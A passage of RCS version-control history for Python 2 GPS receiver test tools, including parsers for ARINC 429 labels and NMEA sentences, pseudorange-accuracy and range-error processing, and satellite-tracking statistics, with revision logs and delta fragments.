wday = (wday + 1) % 7 # change to Sunday = 0
# print 'utc2tow:', wday, hour, min, sec, '+', seconds
return (((((wday * 24.0) + hour) * 60.0) + min) * 60.0) \
+ sec + (seconds % 1.0)
class Label:
""" Represents a single ARINC label. """
d19 3
a21 160
# BNR SSM codes
SSM_FAIL = 0
SSM_NCD = 1
SSM_TEST = 2
SSM_NORMAL = 3
BIT_ADJUSTEMENT = 9 # bit number 9 in requirements corresponds to bit 0
""" The following table defines the fields of each label. Each label
number has a dictionary whose keys are the field name and whose values
are a tuple of the form (maximum bit, minimum bit, scale factor), or a bit
number if just a single bit. The scale factor is optional. If the scale
factor is negative, the field is interpreted as a signed value.
The field names below are intended to be as close as possible to the names
used in the GNSS requirements, except with illegal identifier characters
such as spaces omitted. The common fields Parity, SSM, and SSID fields are
omitted because they are handled separately. The absence of an SSID field
in some labels is inferred from the presence of bits in this table that
overlap the SSID bits.
"""
DEFS = {
'1' : { 'Counter':(28, 11) },
'57' : { 'UserRangeAccuracy':(28, 12, 0.0625) },
'60' : { 'SVID':(29, 24), 'SVIDStatus_Isolation':23,
'RangeRate':22, 'RateMeasurement':21,
'MeasurementCodeUsed':20, 'UserClockUpdate':19,
'SatellitePositionDataUsed':18, 'CN0':(17, 12),
'System':11 },
'61' : { 'PseudoRange':(29, 9) },
'62' : { 'PseudoRange':(28, 18) },
'65' : { 'SvPosition':(29, 9) }, # X
'66' : { 'SvPositionFine':(28, 15) }, # X fine
'70' : { 'SvPosition':(29, 9) }, # Y
'71' : { 'SvPositionFine':(28, 15) }, # Y fine
'72' : { 'SvPosition':(29, 9) }, # Z
'73' : { 'SvPositionFine':(28, 15) }, # Z fine
'74' : { 'UTCMeasurementTime':(28, 9, 9.536743164e-6) },
'110' : { 'LatitudeRads': (29, 9, -GPS_PI * 2**-20) }, # -GPS_PI / 2**22
'111' : { 'LongitudeRads':(29, 9, -GPS_PI * 2**-20) },
'116' : { 'Deviation':(29, 11, -1.0) },
'120' : { 'Latitude':(28, 18) },
'121' : { 'Longitude':(28, 18) },
'140' : { 'FractionsOfASecond':(28, 9, 953.6743164e-9) },
'141' : { 'FineFractionsOfASecond':(28, 19, 931.3225746e-12) },
'150' : { 'Hours':(28, 24), 'Minutes':(23, 18), 'Seconds':(17, 12),
'precision_time':11 },
'260' : { 'TensOfDays':(29, 28), 'UnitsOfDays':(27, 24),
'TensOfMonths':23, 'UnitsOfMonths':(22, 19),
'TensOfYears':(18, 15), 'UnitsOfYears':(14, 11) },
'273' : { 'MSBOfSatellitesTracked':29,
'GPSSensorOperationalMode':(28, 24),
'NumberOfSatellitesTracked':(23, 20),
'NumberOfSatellitesVisible':(19, 16),
'IRSSource':15, 'IRSStatus':14, 'DADCFMSSource':13,
'DADCFMSStatus':12, 'MSBOfSatellitesVisible':11 }
}
def __init__(self, Lbl, Value, timestamp=None):
"""Constructs the object"""
self.Lbl = Lbl
self.Value = Value
self.timestamp = timestamp
# extract common fields
self.SSM = self(31, 30)
self.SSID = self(10, 9) # not present in all labels
self.Parity = self(32)
# call initxxx if it exists
initializer_name = 'init' + self.Lbl
if hasattr(self, initializer_name):
getattr(self, initializer_name)()
else:
try:
self.init()
except KeyError:
pass
def init(self):
"""Initialize class members using self.DEFS. Raises a KeyError if
label isn't defined in self.DEFS."""
fields = self.DEFS[self.Lbl]
for field in fields:
field_def = fields[field]
# print field, bits
try:
assert(field_def[0] > field_def[1])
if field_def[1] <= 10:
# this field overlaps the SSID bits so we must not have an SSID
del self.SSID
value = self(field_def[0], field_def[1])
try:
scale = field_def[2]
if scale < 0: # if tagged as two's-complement (BNR)
scale = -scale # remove tag
# convert value to two's-complement form
num_bits = field_def[0] - field_def[1] + 1
sign_bit = 1L << (num_bits - 1)
if value & sign_bit:
value -= (sign_bit << 1)
value *= scale
except IndexError:
pass # no scale factor supplied
except TypeError:
value = self(field_def)
setattr(self, field, value)
# print dir(self)
def __repr__(self):
if self.timestamp:
timestamp = self.timestamp + ' '
else:
timestamp = ''
return '%s%3s:%06X : ' % (timestamp, self.Lbl, self.Value)
def __str__(self):
s = repr(self)
str_name = 'str' + self.Lbl
# print str_name
if hasattr(self, str_name):
s += getattr(self, str_name)() # call strxxx
else:
try:
# strxxx not found: make string from fields in self.DEFS
for attr in self.DEFS[self.Lbl]:
s += '%s=%s '% (attr, getattr(self, attr))
except KeyError:
s += 'Label %s = %s' % (self.Lbl, self.Value)
return s
def __call__(self, high_bit, low_bit=None):
"""Extracts bits from the label value using bit numbers in the form
used in the GNSS requirements"""
if low_bit is None:
low_bit = high_bit
mask = 1
else:
assert(high_bit >= low_bit)
mask = (1 << ((high_bit - low_bit) + 1)) - 1
# print high_bit, low_bit, mask
return (self.Value >> (low_bit - self.BIT_ADJUSTEMENT)) & mask
def is_normal(self):
"""Returns True if the label has a normal SSM. Assumes the label is
in BNR format."""
return self.SSM == self.SSM_NORMAL
### label-specfic functions
def str150(self):
return 'Time=%02d:%02d:%02d' % (self.Hours, self.Minutes, self.Seconds)
def str260(self):
return 'Date=%d%d/%d%d/%d%d' % (self.TensOfMonths, self.UnitsOfMonths,
self.TensOfDays, self.UnitsOfDays,
self.TensOfYears, self.UnitsOfYears)
class ArincParser:
d26 1
a26 1
def __init__(self):
d29 1
d48 7
d147 1
a147 1
label = Label(Lbl, Value, timestamp)
d151 2
d174 1
a174 1
class ArincTestParser(ArincParser):
d180 1
a180 1
if Label.DEFS.has_key(label.Lbl):
a183 1
print 'The current TOW is:', utc2tow(time.time())
d189 1
a189 1
ArincTestParser().main('ArincParser Test', fname)@
1.8
log
@made various improvements resulting from work on SCR 2531@
text
@d17 1
a17 1
import struct
d23 11
d36 7
a42 1
d181 5
d349 1
@
1.7
log
@added support for label 0116 and added capability to interpret two's complement (BNR) fields@
text
@d21 2
d27 1
a27 1
d51 6
d58 2
d61 2
d77 2
a78 2
def __init__(self, Lbl, Value):
d83 1
d131 5
a135 1
return '%3s:%06X : ' % (self.Lbl, self.Value)
d144 6
a149 3
# strxxx not found: make string from fields in self.DEFS
for attr in self.DEFS[self.Lbl]:
s += '%s=%s '% (attr, getattr(self, attr))
d177 2
a178 2
separator = ','
d185 1
d250 1
a250 1
fields = self.line.split(self.separator)
d254 1
a254 1
if fields[2] != 'NA':
d259 2
a260 1
self.parse_label(Lbl, Value)
d271 1
a271 1
field_names = f.readline().split(self.separator)
d277 1
a277 1
fields = self.line.split(self.separator)
d282 1
a282 1
def parse_label(self, Lbl, Value):
d292 1
a292 1
label = Label(Lbl, Value)
@
1.6
log
@added support for ATEToolkit log file formats
added comments@
text
@d29 2
a30 1
number if just a single bit. The scale factor is optional.
d50 1
d101 9
a109 1
value *= field_def[2]
@
1.5
log
@@
text
@d17 2
d24 1
a24 2
field_indices = {}
BIT_ADJUSTEMENT = 9 # bit number 9 in requirements corresponds to bit 0
d27 3
a29 3
number has a dictionary where the keys are the field name and the values
are of the form (maximum bit, minimum bit, scale factor), or a bit number
if just a single bit. The scale factor is optional.
d31 6
a36 2
The field names below are intended to be a close as possible to the names
used in the GNSS requirements, except with spaces et. al. omitted.
d55 7
a61 1
'TensOfYears':(18, 15), 'UnitsOfYears':(14, 11) }
d65 1
a65 1
""" Constructs the object """
a101 1
setattr(self, field, value)
d103 2
a104 1
setattr(self, field, self(field_def))
d108 1
a108 1
return '%3s : %8s : ' % (self.Lbl, oct(self.Value).lstrip('0'))
a135 3
def str60(self):
return 'CN0=%2d SVID=%2d' % (self.CN0, self.SVID)
d139 5
d145 1
d150 1
d157 1
a157 1
"Implements a simple main function for use by derived classes"
d166 1
d170 1
a170 1
"Set the IDs to be parsed."
d176 1
d190 3
d195 22
d218 12
d231 4
d243 6
a248 6
self.line_num = 3
for line in f:
self.line_num += 1
fields = line.split(self.separator)
MessageVal = int(fields[MessageVal_index], 16)
Lbl = oct(int(MessageVal & 0xFF)).lstrip('0')
d250 22
a271 19
if not Lbl \
or (self.ids_to_parse and not self.ids_to_parse.has_key(Lbl)):
continue
try:
Value = int(MessageVal >> 8)
# print Lbl, Value
label = Label(Lbl, Value)
except Exception, err:
if not self.handle_parse_error(err, self.line_num, line):
return
handler_name = 'handle' + label.Lbl
if hasattr(self, handler_name):
handler = getattr(self, handler_name)
handler(label)
self.num_handled += 1
else:
self.handle(label)
d273 1
a273 1
"""default handler to be overridden by derived class: handles all
d279 2
a280 1
def handle_parse_error(self, err, line_num, line):
d282 1
a282 1
print ' ', line
d286 2
d290 1
a290 1
pass
d292 1
a292 1
print repr(label)
d295 6
a300 1
ArincTestParser().main('ArincParser Test', 'export.raw')@
1.4
log
@reworked for "raw" data format@
text
@d1 2
d4 15
d20 2
d29 3
d37 5
a41 4
'SVIDStatus_Isolation':23, 'RangeRate':22,
'RateMeasurement':21, 'MeasurementCodeUsed':20,
'CN0':(17, 12), 'System':11 },
'61' : { 'PseudoRange':(28, 9) },
d59 3
a61 2
# extract common fields
self.SSID = self(10, 9)
d82 4
d137 1
a137 1
self.ids_to_parse = {} # parse all
d174 1
a174 1
print 'Reading', self.fname
@
1.3
log
@added support for label 260@
text
@a3 1
field_names = ( 'Lbl', 'Value' )
d12 1
d30 1
a30 1
def __init__(self, fields):
a31 3
# set values of selected fields as object members
for field_name in self.field_names:
setattr(self, field_name, fields[self.field_indices[field_name]])
d33 2
a34 3
# convert octal label value to integer
# print self.Value
self.Value = int(self.Value, 8)
d69 1
a69 1
return '%3s : %9s : ' % (self.Lbl, oct(self.Value))
a102 11
def Label_set_field_indices(line, separator):
# strip characters that can't be used in identifiers
line = line.replace('#', '').replace(' ', '')
Label.field_indices = {}
field_names = line.split(separator)
print 'field_names:', field_names
for i in xrange(len(field_names)):
if field_names[i] in Label.field_names:
Label.field_indices[field_names[i]] = i
d148 6
a153 2
Label_set_field_indices(f.readline(), self.separator)
print Label.field_indices
d155 3
a157 2
lbl_index = Label.field_indices['Lbl']
self.line_num = 1
d161 5
a165 4
if len(fields) < 6:
continue # skip this line because it's non-label text
# print lbl_index, fields
if self.ids_to_parse and not self.ids_to_parse.has_key(fields[lbl_index]):
d168 4
a171 2
try:
label = Label(fields)
d203 1
a203 1
ArincTestParser().main('ArincParser Test', 'export.csv')@
1.2
log
@@
text
@d24 4
a27 1
'precision_time':11 }
@
1.1
log
@Initial revision@
text
@d7 5
d13 1
d17 1
a17 1
'CN0':(17, 12) },
d20 3
d25 1
a25 1
}
d28 1
d41 19
a59 6
try:
# try to initialize using self.LABELS
fields = self.DEFS[self.Lbl]
for field in fields:
bits = fields[field]
# print field, bits
d61 7
a67 11
setattr(self, field, self(bits[0], bits[1]))
except TypeError:
setattr(self, field, self(bits))
# print dir(self)
except KeyError:
# call initxxx if it exists
initializer_name = 'init' + self.Lbl
if hasattr(self, initializer_name):
getattr(self, initializer_name)()
else:
pass # print 'No initialization for label', self.Lbl
d70 8
a77 5
s = '%3s : %9s : ' % (self.Lbl, oct(self.Value))
repr_name = 'repr' + self.Lbl
# print repr_name
if hasattr(self, repr_name):
s += getattr(self, repr_name)() # call reprxxx
d79 1
a79 1
# reprxxx not found
d81 1
a81 1
s += '%s=%d '% (attr, getattr(self, attr))
d85 2
d96 1
a96 5
## def repr61(self):
## return str(self.PseudoRange)
##
## def repr62(self):
## return str(self.PseudoRange)
d98 2
a99 2
def repr150(self):
return 'Time=%02d:%02d:%02d' % (self.Hours, self.Minutes, self.Seconds) #XXX more
d101 2
d116 4
a119 2
def __init__(self, separator=','):
a120 1
self.separator = separator
@
<file_sep>/rcs/pracc_arinc_parser.py
head 1.7;
branch ;
access ;
symbols 2PXRFS1:1.7 PVTSE_tests:1.7 HT_0113:1.7 TRR1:1.7;
locks ; strict;
comment @@;
1.7
date 2008.11.05.09.41.40; author Bejoy.Sathyaraj; state In_Progress;
branches ;
next 1.6;
1.6
date 2008.04.11.20.31.41; author Grant.Griffin; state In_Progress;
branches ;
next 1.5;
1.5
date 2007.11.01.19.20.22; author Grant.Griffin; state In_Progress;
branches ;
next 1.4;
1.4
date 2007.10.30.19.55.26; author Grant.Griffin; state In_Progress;
branches ;
next 1.3;
1.3
date 2007.10.26.22.26.55; author Grant.Griffin; state In_Progress;
branches ;
next 1.2;
1.2
date 2007.10.26.21.24.25; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.10.26.15.04.13; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.7
log
@Fixed the ARINC parsing problems@
text
@import time
import pracc_data
from arinc_concat_parser import Parser as ArincParser
from pracc_data import PseudorangeAccuracyData as PraccData
class Measurement:
"""Represents a single measurement"""
def __init__(self, timestamp):
self.timestamp = timestamp
self.prn = None
self.utc_tm = None
self.tow = None
self.cn0 = None
self.pr = None
self.pr_sigma = None
def __str__(self):
return 'PRN=%2d TOW=%0.3f CN0=%2d PR=%0.1f Sigma=%0.1f' % \
(self.prn, self.tow, self.cn0, self.pr,
self.pr_sigma)
class MeasurementArincParser(ArincParser):
""" ARINC parser that aggregates measurement-related labels into complete
measurements."""
def __init__(self):
ArincParser.__init__(self)
self.measurement = Measurement(0)
self.utc_tm = None
def handle57(self, label):
# print dir(label)
self.measurement.pr_sigma = label.UserRangeAccuracy
def handle60(self, label):
if label.UserClockUpdate:
self.handle_UserClockUpdate()
# Label 60 is the first of the measurment sequence:
# flush the measurement from the prior sequence, if any
if self.measurement.prn:
self.handle_measurement()
# create a new measurement for the current sequence
self.measurement = Measurement(self.line_num)
# write values from this label to the new measurement
self.measurement.cn0 = label.CN0
self.measurement.prn = label.SVID
# print label
def handle74(self, label):
# print label
if self.utc_tm is None:
return
self.measurement.meas_time = label.UTCMeasurementTime
self.measurement.utc_tm = self.utc_tm
self.measurement.tow = self.get_tow()
# print 'TOW =', self.measurement.tow
def handle_pseudorange(self, pseudorange):
self.measurement.pr = pseudorange
# print 'pseudorange = ', pseudorange
def handle_UserClockUpdate(self):
print 'UserClockUpdate on line', self.line_num
def handle_utc(self, tm):
self.utc_tm = tm
def get_tow(self):
""" Calculate the current TOW using the UTC time stored in self.utc_tm
"""
# extract all other TOW elements from self.utc_tm (including
# full-precision seconds)
utc_tm = time.localtime(self.utc_tm)
(tm_hour, tm_min, tm_sec) = (utc_tm[3], utc_tm[4],
utc_tm[5])
# convert between Python's two time representations to calculate
# tm_wday. note that this truncates seconds
tm = list(utc_tm)
tm[5] = int(tm[5]) # convert full-precision seconds to integer
tm = time.localtime(time.mktime(tm))
#print 'TOW =', time.strftime("%a, %d %b %Y %H:%M:%S", tm)
tm_wday = (tm[6] + 1) % 7 # adjust for GPS start-of-week
# calculate and return TOW
return ((tm_wday * 24.0 + tm_hour) * 60.0 + tm_min) * 60.0 + tm_sec
class PraccArincParser(PraccData, MeasurementArincParser):
"""ARINC parser for pseudo-range accuracy testing."""
def __init__(self):
PraccData.__init__(self)
self.test_accuracy = self.use_sbas = True
MeasurementArincParser.__init__(self)
self.tow = None
def handle_measurement(self):
m = self.measurement
if m.prn is None or m.tow is None or m.pr is None or m.pr_sigma is None:
return # invalid measurement
if m.tow < self.min_measurement_tow:
return # waiting for min TOW
if self.max_tow is not None and m.tow > self.max_tow:
return # beyond max TOW
self.add_svdata(m.timestamp, m.prn, m.tow, m.pr, m.pr_sigma)
if m.tow != self.tow:
self.cbiases.append(pracc_data.ClockBias(m.tow, 0.0)) # actual clock bias is built into measurements
self.tow = m.tow
def at_main_end(self):
self.dump()
if __name__ == '__main__':
import sys
try:
fname = sys.argv[1]
except IndexError:
fname = 'export.raw'
PraccArincParser().main('ArincPraccParser Test', fname)
@
1.6
log
@fixed parser import name@
text
@d78 3
a80 3
(tm_hour, tm_min, tm_sec) = (self.utc_tm[3], self.utc_tm[4],
self.utc_tm[5])
d83 1
a83 1
tm = list(self.utc_tm)
d86 1
a86 1
# print 'TOW =', time.strftime("%a, %d %b %Y %H:%M:%S", tm)
a108 1
# print m
@
1.5
log
@@
text
@d3 1
a3 1
from arinc_concat_parser import ArincConcatParser as ArincParser
@
1.4
log
@@
text
@d7 1
d24 2
a27 1
print 'MeasurementArincParser'
d37 3
d66 3
d93 1
d104 6
a109 2
return # invalid measurement
print m
@
1.3
log
@@
text
@d2 1
d10 1
a10 1
self.prn = 0
d12 4
a15 4
self.tow = 0.0
self.cn0 = 0
self.pr = 0.0
self.pr_sigma = 0.0
d25 1
d50 2
a66 5
# convert between Python's two time representations to calculate
# tm_wday. note that this truncates seconds
tm = time.localtime(time.mktime(self.utc_tm))
tm_wday = (tm[6] + 1) % 7 # adjust for GPS start-of-week
d73 8
d90 1
d93 3
a95 1
m = self.measurement
d98 3
d107 6
a112 1
PraccArincParser().main('ArincPraccParser Test', 'export.raw') @
1.2
log
@@
text
@a57 2
if self.utc_tm != tm:
print
d79 4
a82 3
def __init__(self, test_accuracy, use_sbas):
PraccData.__init__(self, test_accuracy, use_sbas)
ArincMeasurementParser.__init__(self)
d94 1
a94 1
PraccArincParser(True, False).main('ArincPraccParser Test', 'export.csv') @
1.1
log
@Initial revision@
text
@d1 3
a3 1
from arinc_concat_parser import ArincConcatParser as Parser
d7 5
a11 2
def __init__(self):
self.prn = 0
a14 2
self.time = ''
self.meas_time = 0.0
d17 2
a18 2
return 'Time=%s MTime=%0.3f PRN=%2d CN0=%2d PR=%0.1f Sigma=%0.1f' % \
(self.time, self.meas_time, self.prn, self.cn0, self.pr,
d21 1
a21 1
class ArincPraccParser(Parser):
d24 3
a26 4
Parser.__init__(self)
self.m = Measurement()
self.measurement_sets = [[]]
self.time = ''
d29 2
a30 2
print dir(label)
self.m.pr_sigma = label.UserRangeAccuracy
d33 4
a36 5
self.m = Measurement()
self.m.cn0 = label.CN0
self.m.prn = label.SVID
print
print label
d38 8
d47 5
a51 4
self.m.meas_time = label.UTCMeasurementTime
self.m.time = self.time
self.measurement_sets[-1].append(self.m)
print label
d53 3
a55 3
def handlePseudoRange(self, PseudoRange):
self.m.pr = PseudoRange
print 'PseudoRange = ', PseudoRange
d57 13
a69 6
def handleTime(self, label):
t = '%02d:%02d:%02f' % (label.Hours, label.Minutes, label.Seconds)
if t != self.time:
self.measurement_sets.append([])
self.time = t
print 'Time =', self.time
d71 19
d91 2
a92 4
for measurement_set in self.measurement_sets:
for m in measurement_set:
print m
print
d95 1
a95 1
ArincPraccParser().main('ArincPraccParser Test', 'export.csv') @
<file_sep>/rcs/clock_bias.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2008.04.03.20.42.49; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2006.09.19.15.52.39; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@@
text
@""" clock_bias.py: Shows estimated clock frequency bias from packets 0x53.
Outputs are printed and stored in clock_bias.txt. """
__author__ = '<NAME>'
__version__ = '$Revision: 1.1 $'
from xpr_log import Parser
class ClockBias(Parser):
def handle53(self, msg):
print msg.clock_bias_sec
if __name__ == '__main__':
import stdout_logger
stdout_logger.Logger('clock_bias.txt')
ClockBias().main('Clock Bias')
@
1.1
log
@Initial revision@
text
@d1 2
a2 2
""" clock_bias.py: Shows estimated clock frequency bias from packets 0x1a and
0x31. Outputs are printed and stored in clock_bias.txt. """
a9 3
def handle1A(self, msg):
print msg.estimated_clock_frequency_bias
d11 2
a12 2
def handle31(self, msg):
print msg.estimated_clock_frequency_bias
@
<file_sep>/rcs/process_2c.py
head 1.1;
branch ;
access ;
symbols 2PXRFS1:1.1 PVTSE_tests:1.1 HT_0113:1.1 TRR1:1.1;
locks ; strict;
comment @@;
1.1
date 2005.09.08.20.25.05; author AMoroz; state Exp;
branches ;
next ;
ext
@project //oltfs021/COMNAVSW/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@# This script will output data in three columns
# Column 1 : time (seconds)
# Column 2 : PRN
# Column 3 : Range error (meters)
from xpr_log import Parser
import sys
import math
import olathe_gps_lab
import gps_math
import string
class process_2c(Parser):
def __init__(self):
Parser.__init__(self)
self.last_sw_version = None
self.get_parse_ids_from_handlers()
# Open the output file
fname = string.replace(sys.argv[1], '.txt', '.dat');
self.f = open(fname, 'w');
# Compute antenna location
iant = int(sys.argv[2])
ant_lla = olathe_gps_lab.ant_lla(iant)
ant_ecef = gps_math.lla2ecef(ant_lla[0], ant_lla[1], ant_lla[2])
self.ant_x = ant_ecef[0]
self.ant_y = ant_ecef[1]
self.ant_z = ant_ecef[2]
# Cycle data
self.last_tick = None
self.prn = []
self.r_error = []
self.r_error_sum = 0
self.rr_error = []
self.rr_error_sum = 0
self.error_num = 0
# Statistics
self.stat_r_err = 0
self.stat_r_err_max = 0
self.stat_rr_err = 0
self.stat_rr_err_max = 0
self.stat_samples = 0
def handle1D(self, msg):
if msg.sw_version != self.last_sw_version:
if self.last_sw_version:
self.abort_parse = True # abort when SW restarts
self.last_sw_version = msg.sw_version
def handle2C(self, msg):
# Message format
#tick = int(self[0])
#prn = int(self[1])
#range = safe_float(self[2])
#sigma = safe_float(self[3])
#rate = safe_float(self[4])
#sv_x = safe_float(self[5])
#sv_y = safe_float(self[6])
#sv_z = safe_float(self[7])
#sv_dx = safe_float(self[8])
#sv_dy = safe_float(self[9])
#sv_dz = safe_float(self[10])
#precision = int(self[11])
#correction = int(self[12])
#raw_pr = safe_float(self[13])
#smooth_pr = safe_float(self[14])
if msg.tick != self.last_tick:
if self.last_tick != None:
# Compute the common bias
common_bias = self.r_error_sum / self.error_num
rr_bias = self.rr_error_sum / self.error_num
for i in range(self.error_num):
r_error = self.r_error[i] - common_bias
rr_error = self.rr_error[i] - rr_bias
self.f.write('%.1f\t%i\t%f\t%f\n' % (self.last_tick / 1000.0, self.prn[i], r_error, rr_error))
# Compute sum square and MAX of range errors
error = r_error * r_error
self.stat_r_err = self.stat_r_err + error
self.stat_samples = self.stat_samples + 1
if error > self.stat_r_err_max:
self.stat_r_err_max = error
# Compute sum square and MAX of range rate errors
error = rr_error * rr_error
self.stat_rr_err = self.stat_rr_err + error
if error > self.stat_rr_err_max:
self.stat_rr_err_max = error
# Clear cycle accumulators
self.last_tick = msg.tick
self.prn = []
self.r_error = []
self.rr_error = []
self.r_error_sum = 0
self.rr_error_sum = 0
self.error_num = 0
self.prn = self.prn + [msg.prn]
rx = msg.sv_x - self.ant_x
ry = msg.sv_y - self.ant_y
rz = msg.sv_z - self.ant_z
expected_range = math.sqrt(rx * rx + ry * ry + rz * rz)
error = msg.range - expected_range
self.r_error = self.r_error + [ error ]
self.r_error_sum = self.r_error_sum + error
self.error_num = self.error_num + 1
# Compute range rate error
rr = (rx * msg.sv_dx + ry * msg.sv_dy + rz * msg.sv_dz) / expected_range
error = msg.rate - rr
self.rr_error = self.rr_error + [ error ]
self.rr_error_sum = self.rr_error_sum + error
if __name__ == '__main__':
p = process_2c()
p.parse_command_line_fnames()
print 'RMS(range error) = ', math.sqrt(p.stat_r_err / p.stat_samples)
print 'MAX(ABS(range error)) = ', math.sqrt(p.stat_r_err_max)
print 'RMS(range rate error) = ', math.sqrt(p.stat_rr_err / p.stat_samples)
print 'MAX(ABS(range rate error)) = ', math.sqrt(p.stat_rr_err_max)@
<file_sep>/rcs/num_tracking.py
head 1.3;
branch ;
access ;
symbols 2PXRFS1:1.3 PVTSE_tests:1.3 HT_0113:1.3 TRR1:1.3;
locks ; strict;
comment @@;
1.3
date 2005.05.17.15.15.05; author griffin_g; state In_Progress;
branches ;
next 1.2;
1.2
date 2005.05.10.16.48.36; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2005.05.09.16.06.24; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.3
log
@commented-out handle29 to suppress almanac message outputs
modified handle32 per change to mode_changes.py@
text
@__version__ = '$Revision: 1.2 $'
from mode_changes import ModeChanges as Parser
import stats
class Num_Tracking(Parser):
def __init__(self):
Parser.__init__(self)
self.has_navigated = False
self.print_header = True
self.num_locked_list = []
self.num_visible = self.last_num_visible = 0
self.last_num_tracking = None
self.gps_tow = 0.0
def main(self, title):
Parser.main(self, title)
if self.num_locked_list:
st = stats.Stats(self.num_locked_list)
print '\nNum locked statistics: count=%i min=%0.1f max=%0.1f avg=%0.1f RMS=%0.1f std=%0.1f' % \
(len(self.num_locked_list), min(self.num_locked_list), max(self.num_locked_list),
st.avg, st.rms, st.std)
else:
print 'No changes found in the number visible or tracking'
def handle28(self, msg):
pass # print msg.line
## def handle29(self, msg):
## if msg.fault_type in [67, 68]:
## print msg.line
def handle30(self, msg):
num_tracking = 0
num_locked = 0
num_in_use = 0
prns = {}
for meas in msg.measurements:
if meas.state in ['TRK.', 'DATA']:
num_tracking += 1
if meas.carrier_to_noise_ratio >= 30.0: # 33.0:
num_locked += 1
prns[meas.prn] = meas.carrier_to_noise_ratio
if meas.in_use:
num_in_use += 1
if self.has_navigated:
self.num_locked_list.append(num_locked)
if num_tracking != self.last_num_tracking or \
self.num_visible != self.last_num_visible:
if self.print_header:
print 'SN sec TOW V L T I PRNS'
print '------------------------------------------------------'
self.print_header = False
print '%s %06i %6i %2i %2i %2i %2i' % \
(msg.serial_number, msg.second, round(self.gps_tow), self.num_visible,
num_locked, num_tracking, num_in_use),
keys = prns.keys()
keys.sort()
s = '['
for key in keys:
s += '%i-%i ' % (key, prns[key])
s = s.rstrip() + ']'
print s
self.last_num_tracking = num_tracking
self.last_num_visible = self.num_visible
def handle31(self, msg):
Parser.handle31(self, msg)
if msg.mode == 'Navigation':
self.has_navigated = True
self.num_visible = msg.number_of_visible_satellites
def handle32(self, msg):
Parser.handle32(self, msg)
self.gps_tow = msg.gps_tow
if __name__ == '__main__':
Num_Tracking().main('Num Tracking')
@
1.2
log
@@
text
@d30 3
a32 3
def handle29(self, msg):
if msg.fault_type in [67, 68]:
print repr(msg)
d75 1
d79 1
a79 1
Num_Tracking().main('Num Tracking')@
1.1
log
@Initial revision@
text
@d19 7
a25 4
st = stats.Stats(self.num_locked_list)
print '\nNum locked statistics: count=%i min=%0.1f max=%0.1f avg=%0.1f RMS=%0.1f std=%0.1f' % \
(len(self.num_locked_list), min(self.num_locked_list), max(self.num_locked_list),
st.avg, st.rms, st.std)
d29 5
a33 1
a39 1
# print 'state:', meas.state
a48 2
## if num_locked < 6:
## print '***', msg.line
d52 1
a52 1
print 'SN sec TOW V L T I PRNS'
d55 2
a56 2
print '%s %06i %8.1f %2i %2i %2i %2i' % \
(msg.serial_number, msg.second, self.gps_tow, self.num_visible,
d60 1
a60 1
print '[',
d62 3
a64 2
print '%i-%i' % (key, prns[key]),
print ']'
@
<file_sep>/rcs/nmea.py
head 1.1;
branch ;
access ;
symbols 2PXRFS1:1.1 PVTSE_tests:1.1 HT_0113:1.1 TRR1:1.1;
locks ; strict;
comment @@;
1.1
date 2005.11.02.22.07.32; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@""" nmea.py: Prints formatted output from a NMEA file or a COM port (as
produced by a NovAtel 3151RM receiver)
"""
__version__ = '$Revision: 1.0 $'
def get_lat_lon(s):
try:
f = float(s)
except ValueError:
return 0.0
return int(f / 100.0) + (f % 100.0) / 60.0
def deg_str(deg):
if (deg < 0):
return '-' + deg_str(-deg)
return '%2d %9.6f' % (int(deg), (deg % 1.0) * 60.0)
def get_time_date_fields(s):
s = s.split('.')[0]
fields = []
for ii in xrange(0, len(s), 2):
fields += [int(s[:2])]
s = s[2:]
return fields
class Sat:
def __init__(self, fields):
self.prn = int(fields[0])
self.elevation = int(fields[1])
self.azimuth = int(fields[2])
self.cn0 = int(fields[3])
def __str__(self):
return '%02d %02d %3d %3d' \
% (self.prn, self.cn0, self.elevation, self.azimuth )
class Msg(list):
def __init__(self, line):
self.line = line
line = line.split('*')[0] # remove checksum
self += line.split(',')
init_name = 'init_' + self.get_id()
try:
getattr(self, init_name)()
except AttributeError:
pass
def get_id(self):
return self[0][3:]
def _get_time(self, index):
self.time = get_time_date_fields(self[index])
def _get_lat_lon(self, index):
self.lat = get_lat_lon(self[index])
if (self[index + 1] != 'N'):
self.lat = -self.lat
self.lon = get_lat_lon(self[index + 2])
if (self[index + 3] != 'E'):
self.lon = -self.lon
def _get_valid(self, index):
self.valid = (self[index] == 'A')
def init_GGA(self):
pass
self._get_time(1)
self._get_lat_lon(2)
try:
self.quality = int(self[6])
except ValueError:
self.quality = None
try:
self.num_tracking = int(self[7])
except ValueError:
self.num_tracking = None
try:
self.hdop = float(self[8])
except ValueError:
self.hdop = None
try:
self.altitude = float(self[9])
except ValueError:
self.altitude = None
self.altitude_unit = self[10]
print 'GGA', self.time, deg_str(self.lat), deg_str(self.lon), \
self.quality, self.num_tracking, self.hdop, self.altitude, \
self.altitude_unit
def init_GLL(self):
self._get_lat_lon(1)
self._get_time(5)
self._get_valid(6)
print 'GLL', self.time, deg_str(self.lat), deg_str(self.lon), self.valid
def init_GSA(self):
self.fix_type = int(self[2])
self.prns = [int(prn) for prn in self[3:15] if prn]
print 'GSA', self.prns
def init_GSV(self):
self.total_sentences = int(self[1])
self.sentence_num = int(self[2])
self.num_visible = int(self[3])
self.sats = []
ii = 4
while (ii < len(self)):
self.sats.append(Sat(self[ii:ii + 4]))
ii += 4
print 'GSV'
for sat in self.sats:
print ' ', sat
def init_RMC(self):
self._get_time(1)
self._get_valid(2)
self._get_lat_lon(3)
self.date = get_time_date_fields(self[9])
